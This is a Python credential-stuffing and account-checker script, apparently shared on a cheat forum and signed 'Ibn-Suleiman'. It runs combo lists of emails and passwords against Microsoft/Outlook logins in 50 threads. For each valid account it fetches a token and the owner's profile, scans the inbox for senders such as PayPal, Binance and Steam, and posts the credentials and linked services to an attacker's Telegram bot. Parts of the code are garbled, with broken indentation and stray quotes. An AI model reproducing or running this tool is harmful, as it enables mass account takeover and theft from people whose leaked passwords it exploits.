cheatglobal

```python
#Ibn-Suleiman | @CRR_V
import os , uuid , concurrent.futures
try:
    import requests
    from rich.console import Console
    from rich.panel import Panel
except ImportError:
    os.system('pip install requests rich')
    os.system('clear')
a,b=0,0
Tok = input('Enter Token : ')
id = input('Enter ID : ')
class all:
    @staticmethod
    def get_infoo(Email,Password,token,CID) -> str:
        he = {
            "User-Agent": "Outlook-Android/2.0",
            "Pragma": "no-cache",
            "Accept": "application/json",
            "ForceSync": "false",
            "Authorization": f"Bearer {token}",
            "X-AnchorMailbox": f"CID:{CID}",
            "Host": "substrate.office.com",
            "Connection": "Keep-Alive",
            "Accept-Encoding": "gzip"}
        r =
requests.get("https://substrate.office.com/profileb2/v2.0/me/V1Profile",headers=he).json()
        info_name=(r.get('names', []))
        info_Loca=(r.get('accounts',[]))
        name=info_name[0]['displayName']
        Loca=info_Loca[0]['location']
        url = f"https://outlook.live.com/owa/{Email}/startupdata.ashx?app=Mini&n=0"
        headers = {
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```python
        "Host": "outlook.live.com",
        "content-length": "0",
        "x-owa-sessionid": f"{CID}",
        "x-req-source": "Mini",
        "authorization": f"Bearer {token}",
        "user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G975N
Build/PQ3B.190801.08041932; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/91.0.4472.114 Mobile Safari/537.36",
        "action": "StartupData",
        "x-owa-correlationid": f"{CID}",
        "ms-cv": "YizxQK73vePSyVZZXVeNr+.3",
        "content-type": "application/json; charset=utf-8",
        "accept": "*/*",
        "origin": "https://outlook.live.com",
        "x-requested-with": "com.microsoft.outlooklite",
        "sec-fetch-site": "same-origin",
        "sec-fetch-mode": "cors",
        "sec-fetch-dest": "empty",
        "referer": "https://outlook.live.com/",
        "accept-encoding": "gzip, deflate",
        "accept-language": "en-US,en;q=0.9"
    }
    rese = requests.post(url, headers=headers, data="").text
    V1 = '✅ Facebook - V12' if 'security@facebookmail.com' in rese else None
    V2 = '✅ Instagram - V12' if 'security@mail.instagram.com' in rese else None
    V3 = '✅ PUBG - V12' if "noreply@pubgmobile.com" in rese else None
    V4 = '✅ Konami - V12' if 'nintendo-noreply@ccg.nintendo.com' in rese else None
    V5 = '✅ TikTok - V12' if 'register@account.tiktok.com' in rese else None
    V6 = '✅ Twitter - V12' if 'info@x.com' in rese else None
    V7 = '✅ PayPal - V12' if 'service@paypal.com.br' in rese else None
    V8 = '✅ Binance - V12' if 'do-not-reply@ses.binance.com' in rese else None
    V9 = '✅ NetFlix - V12' if 'info@account.netflix.com' in rese else None
    V10 = '✅ Playstation - V12' if 'reply@txn-email.playstation.com' in rese else None
    V11 = '✅ Supercell - V12' if 'noreply@id.supercell.com' in rese else None
    V12 = '✅ EpicGames - V12' if 'help@acct.epicgames.com' in rese else None
    V13 = '✅ Spotify - V12' if 'no-reply@spotify.com' in rese else None
    V14 = '✅ Rockstar - V12' if 'noreply@rockstargames.com' in rese else None
    V15 = '✅ Xbox - V12' if 'xboxreps@engage.xbox.com' in rese else None
    V16 = '✅ Microsoft - V12' if 'account-security-
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noreply@accountprotection.microsoft.com' in rese else None
        V17 = '✅  Steam - V12' if 'noreply@steampowered.com' in rese else None
        V18 = '✅  Roblox - V12' if 'accounts@roblox.com' in rese else None
        V19 = '✅  EA sports - V12' if 'EA@e.ea.com' in rese else None
        V20 = '✅  Bitkub - V12' if 'no-reply@bitkub.com' in rese else None
        h = filter(None, [V1, V2, V3, V4, V5, V6, V7, V8, V9, V10, V11, V12, V13, V14, V15, V16,
V17, V18, V19, V20])
        hh = "\n".join(h)
        ff = f'''
<>>>>>>[ Info - V12 ]<<<<<>
Email : {Email}
Password : {Password}
Name : {name}
Country : {Loca}
<>>>>>[ Linked - V12 ]<<<<<>
{hh}
<>>>>>>[ DeV - V12 ]<<<<<<>
'''
        requests.post(f"https://api.telegram.org/bot{Tok}/sendMessage?chat_id={id}&text={ff}")
    @staticmethod
    def get_token(Email,Password,cook,hh) -> str:
        Code = hh.get('Location').split('code=')[1].split('&')[0]
        CID = cook.get('MSPCID').upper()
        try:
            url = "https://login.microsoftonline.com/consumers/oauth2/v2.0/token"
            data = {"client_info": "1","client_id": "e9b154d0-7658-433b-bb25-6b8e0a8a7c59",
            "redirect_uri":
"msauth://com.microsoft.outlooklite/fcg80qvoM1YMKJZibjBwQcDfOno%3D",
            "grant_type": "authorization_code",
            "code": Code,
            "scope": "profile openid offline_access https://outlook.office.com/M365.Access"}
            response = requests.post(url, data=data, headers={"Content-Type": "application/x-
www-form-urlencoded"})
            token = response.json()["access_token"]
            all.get_infoo(Email,Password,token,CID)
        except Exception as e:"

    @staticmethod
    def
```

```python
login_protocol(Email,Password,URL,PPFT,AD,MSPRequ,uaid,RefreshTokenSso,MSPOK,OParams) -> str:
    global a,b
    try:
        lenn = f"i13=1&login={Email}&loginfmt={Email}&type=11&LoginOptions=1&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd={Password}&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT={PPFT}&PPSX=PassportR&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=0&isSignupPost=0&isRecoveryAttemptPost=0&i19=9960"
        Ln = len(lenn)
        headers = {
            "Host": "login.live.com",
            "Connection": "keep-alive",
            "Content-Length": str(Ln),
            "Cache-Control": "max-age=0",
            "Upgrade-Insecure-Requests": "1",
            "Origin": "https://login.live.com",
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G975N Build/PQ3B.190801.08041932; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.114 Mobile Safari/537.36 PKeyAuth/1.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
            "X-Requested-With": "com.microsoft.outlooklite",
            "Sec-Fetch-Site": "same-origin",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-User": "?1",
            "Sec-Fetch-Dest": "document",
            "Referer": f"{AD}haschrome=1",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Cookie": f"MSPRequ={MSPRequ};uaid={uaid}; RefreshTokenSso={RefreshTokenSso}; MSPOK={MSPOK}; OParams={OParams}; MicrosoftApplicationsTelemetryDeviceId={uuid}"}
        res = requests.post(URL,data=lenn,headers=headers,allow_redirects=False)
        cook = res.cookies.get_dict()
        hh = res.headers
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            if any(key in cook for key in ["JSH", "JSHP", "ANON", "WLSSC"]) or res.text == '':
                all.get_token(Email,Password,cook,hh)
                a+=1
                print(f'\033[2;32m{a} - Good login : {Email} | {Password}')
            else:
                b+=1
                print(f'\033[2;31m{b} - Bad Account : {Email} | {Password}')
        except Exception as e:''
    @staticmethod
    def get_values(Email,Password):
        headers = {
    #        "Host": "login.microsoftonline.com",
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G975N
Build/PQ3B.190801.08041932; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/91.0.4472.114 Mobile Safari/537.36 PKeyAuth/1.0",
            "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9",
            "return-client-request-id": "false",
            "client-request-id": "205740b4-7709-4500-a45b-b8e12f66c738",
            "x-ms-sso-ignore-sso": "1",
            "correlation-id": str(uuid.uuid4()),
            "x-client-ver": "1.1.0+9e54a0d1",
            "x-client-os": "28",
            "x-client-sku": "MSAL.xplat.android",
            "x-client-src-sku": "MSAL.xplat.android",
            "X-Requested-With": "com.microsoft.outlooklite",
            "Sec-Fetch-Site": "none",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-User": "?1",
            "Sec-Fetch-Dest": "document",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
        }
        try:
            response =
requests.get("https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?
```

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client_info=1&haschrome=1&login_hint="+str(Email)+"&mkt=en&response_type=code&client_
id=e9b154d0-7658-433b-bb25-
6b8e0a8a7c59&scope=profile%20openid%20offline_access%20https%3A%2F%2Foutlook.off
ice.com%2FM365.Access&redirect_uri=msauth%3A%2F%2Fcom.microsoft.outlooklite%2Ffcg
80qvoM1YMKJZibjBwQcDfOno%253D" ,headers=headers)
        cok = response.cookies.get_dict()
        URL = response.text.split("urlPost:'")[1].split("'")[0]
        PPFT = response.text.split('name="PPFT" id="i0327" value="')[1].split('",")[0]
        AD = response.url.split('haschrome=1')[0]
        MSPRequ = cok['MSPRequ']
        uaid = cok['uaid']
        RefreshTokenSso = cok['RefreshTokenSso']
        MSPOK = cok['MSPOK'],
        OParams =  cok['OParams']


all.login_protocol(Email,Password,URL,PPFT,AD,MSPRequ,uaid,RefreshTokenSso,MSPOK,O
Params)
      except Exception as e:
          all.get_values(Email,Password)
    @staticmethod
    def fff():
      file = input('Enter Combo : ')
      executor = concurrent.futures.ThreadPoolExecutor(max_workers=50)
      with open(file, "r") as f:
         for line in f:
           try:
            if ':' in line:
             email = line.strip().split(':')[0]
             password = line.strip().split(':')[1]
             executor.submit(all.get_values,email,password)
            else:
                pass
           except Exception as e:
               pass


class One:
   @staticmethod
   def get_infoo(Email,Password,token,CID,app) -> str:
      global a,b
```

```python
    print(app)
    he = {
        "User-Agent": "Outlook-Android/2.0",
        "Pragma": "no-cache",
        "Accept": "application/json",
        "ForceSync": "false",
        "Authorization": f"Bearer {token}",
        "X-AnchorMailbox": f"CID:{CID}",
        "Host": "substrate.office.com",
        "Connection": "Keep-Alive",
        "Accept-Encoding": "gzip"}
    r =
requests.get("https://substrate.office.com/profileb2/v2.0/me/V1Profile",headers=he).json()
    info_name=(r.get('names', []))
    info_Loca=(r.get('accounts',[]))
    name=info_name[0]['displayName']
    Loca=info_Loca[0]['location']
    url = f"https://outlook.live.com/owa/{Email}/startupdata.ashx?app=Mini&n=0"
    headers = {
        "Host": "outlook.live.com",
        "content-length": "0",
        "x-owa-sessionid": f"{CID}",
        "x-req-source": "Mini",
        "authorization": f"Bearer {token}",
        "user-agent": "Mozilla/5.0 (Linux; Android 9; SM-G975N
Build/PQ3B.190801.08041932; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/91.0.4472.114 Mobile Safari/537.36",
        "action": "StartupData",
        "x-owa-correlationid": f"{CID}",
        "ms-cv": "YizxQK73vePSyVZZXVeNr+.3",
        "content-type": "application/json; charset=utf-8",
        "accept": "*/*",
        "origin": "https://outlook.live.com",
        "x-requested-with": "com.microsoft.outlooklite",
        "sec-fetch-site": "same-origin",
        "sec-fetch-mode": "cors",
        "sec-fetch-dest": "empty",
        "referer": "https://outlook.live.com/",
        "accept-encoding": "gzip, deflate",
```

```python
        "accept-language": "en-US,en;q=0.9"
    }
    rese = requests.post(url, headers=headers, data="").text
    if str(app) in rese:
        a += 1
        print(f'\033[2;32m{a} - Good login : {Email} | {Password}')
        ff = f'''
<>>>>>>[ Info - V12 ]<<<<<<>
Email : {Email}
Password : {Password}
Name : {name}
Country : {Loca}
<>>>>>[ Info - V12 ]<<<<<>
'''
        requests.post(f"https://api.telegram.org/bot{Tok}/sendMessage?chat_id={id}&text={ff}")
    else:
        b+=1
        print(f'\033[1;33m{b} - Good Account but Not {app} : {Email} | {Password}')


    @staticmethod
    def get_token(Email,Password,cook,hh,app) -> str:
        Code = hh.get('Location').split('code=')[1].split('&')[0]
        CID = cook.get('MSPCID').upper()
        try:
            url = "https://login.microsoftonline.com/consumers/oauth2/v2.0/token"
            data = {"client_info": "1","client_id": "e9b154d0-7658-433b-bb25-6b8e0a8a7c59",
            "redirect_uri":
"msauth://com.microsoft.outlooklite/fcg80qvoM1YMKJZibjBwQcDfOno%3D",
            "grant_type": "authorization_code",
            "code": Code,
            "scope": "profile openid offline_access https://outlook.office.com/M365.Access"}
            response = requests.post(url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"})
            token = response.json()["access_token"]
            One.get_infoo(Email,Password,token,CID,app)
        except Exception as e:''


    @staticmethod
    def
```

```python
login_protocol(Email,Password,URL,PPFT,AD,MSPRequ,uaid,RefreshTokenSso,MSPOK,OParams,app) -> str:
    global a,b
    try:
        lenn = f"i13=1&login={Email}&loginfmt={Email}&type=11&LoginOptions=1&lrt=&lrtPartition=&hisRegion=&hisScaleUnit=&passwd={Password}&ps=2&psRNGCDefaultType=&psRNGCEntropy=&psRNGCSLK=&canary=&ctx=&hpgrequestid=&PPFT={PPFT}&PPSX=PassportR&NewUser=1&FoundMSAs=&fspost=0&i21=0&CookieDisclosure=0&IsFidoSupported=0&isSignupPost=0&isRecoveryAttemptPost=0&i19=9960"
        Ln = len(lenn)
        headers = {
            "Host": "login.live.com",
            "Connection": "keep-alive",
            "Content-Length": str(Ln),
            "Cache-Control": "max-age=0",
            "Upgrade-Insecure-Requests": "1",
            "Origin": "https://login.live.com",
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G975N Build/PQ3B.190801.08041932; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/91.0.4472.114 Mobile Safari/537.36 PKeyAuth/1.0",
            "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
            "X-Requested-With": "com.microsoft.outlooklite",
            "Sec-Fetch-Site": "same-origin",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-User": "?1",
            "Sec-Fetch-Dest": "document",
            "Referer": f"{AD}haschrome=1",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
            "Cookie": f"MSPRequ={MSPRequ};uaid={uaid}; RefreshTokenSso={RefreshTokenSso}; MSPOK={MSPOK}; OParams={OParams}; MicrosoftApplicationsTelemetryDeviceId={uuid}"}
        res = requests.post(URL,data=lenn,headers=headers,allow_redirects=False)
        cook = res.cookies.get_dict()
        hh = res.headers
```

```python
            if any(key in cook for key in ["JSH", "JSHP", "ANON", "WLSSC"]) or res.text == ":
                One.get_token(Email,Password,cook,hh,app)
            else:
                b+=1
                print(f'\033[2;31m{b} - Bad Account : {Email} | {Password}')
        except Exception as e:"
    @staticmethod
    def get_values(Email,Password,app):
        headers = {
#          "Host": "login.microsoftonline.com",
            "Connection": "keep-alive",
            "Upgrade-Insecure-Requests": "1",
            "User-Agent": "Mozilla/5.0 (Linux; Android 9; SM-G975N
Build/PQ3B.190801.08041932; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0
Chrome/91.0.4472.114 Mobile Safari/537.36 PKeyAuth/1.0",
            "Accept":
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;
q=0.8,application/signed-exchange;v=b3;q=0.9",
            "return-client-request-id": "false",
            "client-request-id": "205740b4-7709-4500-a45b-b8e12f66c738",
            "x-ms-sso-ignore-sso": "1",
            "correlation-id": str(uuid.uuid4()),
            "x-client-ver": "1.1.0+9e54a0d1",
            "x-client-os": "28",
            "x-client-sku": "MSAL.xplat.android",
            "x-client-src-sku": "MSAL.xplat.android",
            "X-Requested-With": "com.microsoft.outlooklite",
            "Sec-Fetch-Site": "none",
            "Sec-Fetch-Mode": "navigate",
            "Sec-Fetch-User": "?1",
            "Sec-Fetch-Dest": "document",
            "Accept-Encoding": "gzip, deflate",
            "Accept-Language": "en-US,en;q=0.9",
        }
        try:
            response =
requests.get("https://login.microsoftonline.com/consumers/oauth2/v2.0/authorize?
client_info=1&haschrome=1&login_hint="+str(Email)+"&mkt=en&response_type=code&client_
id=e9b154d0-7658-433b-bb25-
```

```
6b8e0a8a7c59&scope=profile%20openid%20offline_access%20https%3A%2F%2Foutlook.off
ice.com%2FM365.Access&redirect_uri=msauth%3A%2F%2Fcom.microsoft.outlooklite%2Ffcg
80qvoM1YMKJZibjBwQcDfOno%253D" ,headers=headers)
        cok = response.cookies.get_dict()
        URL = response.text.split("urlPost:'")[1].split("'")[0]
        PPFT = response.text.split('name="PPFT" id="i0327" value="')[1].split("',")[0]
        AD = response.url.split('haschrome=1')[0]
        MSPRequ = cok['MSPRequ']
        uaid = cok['uaid']
        RefreshTokenSso = cok['RefreshTokenSso']
        MSPOK = cok['MSPOK'],
        OParams =  cok['OParams']


One.login_protocol(Email,Password,URL,PPFT,AD,MSPRequ,uaid,RefreshTokenSso,MSPOK
,OParams,app)
    except Exception as e:
        One.get_values(Email,Password,app)
  @staticmethod
  def fff():
    emails = {
    1: 'security@facebookmail.com',
    2: 'security@mail.instagram.com',
    3: 'noreply@pubgmobile.com',
    4: 'nintendo-noreply@ccg.nintendo.com',
    5: 'register@account.tiktok.com',
    6: 'info@x.com',
    7: 'service@paypal.com.br',
    8: 'do-not-reply@ses.binance.com',
    9: 'info@account.netflix.com',
    10: 'reply@txn-email.playstation.com',
    11: 'noreply@id.supercell.com',
    12: 'help@acct.epicgames.com',
    13: 'no-reply@spotify.com',
    14: 'noreply@rockstargames.com',
    15: 'xboxreps@engage.xbox.com',
    16: 'account-security-noreply@accountprotection.microsoft.com',
    17: 'noreply@steampowered.com',
    18: 'accounts@roblox.com',
    19: 'EA@e.ea.com',
```

```python
        20: 'no-reply@bitkub.com'
    }

    apps = [
    "Facebook", "Instagram", "PUBG", "Konami", "TikTok", "Twitter", "PayPal", "Binance",
    "Netflix", "PlayStation", "Supercell", "Epic Games", "Spotify", "Rockstar", "Xbox",
    "Microsoft", "Steam", "Roblox", "EA Sports", "Bitkub"
    ]
    for app in enumerate(apps, start=1):
        print(app)
    ap = int(input('\n\nSelect : '))
    aap = emails[ap]
    os.system('clear')
    file = input('Enter Combo : ')
    executor = concurrent.futures.ThreadPoolExecutor(max_workers=50)
    with open(file, "r") as f:
        for line in f:
            try:
                if ':' in line:
                    email = line.strip().split(':')[0]
                    password = line.strip().split(':')[1]
                    executor.submit(One.get_values, email, password, aap)
                else:pass
            except Exception as e:pass
if __name__=='__main__':
    console = Console()
    os.system('clear')
    P = Panel('[bold yellow]Ibn-Suleiman | @CRR_V\n\n[bold bright_red]1 - Check All
applications\n\n2 - Check One applications[/bold bright_red]\n', border_style="bright_green")
    console.print(P)
    V12 = input('\nSelect : ')
    os.system('clear')
    if V12 == '1':
        all.fff()
    elif V12 == '2':
        One.fff()
    else:
        print('Not ❌')
```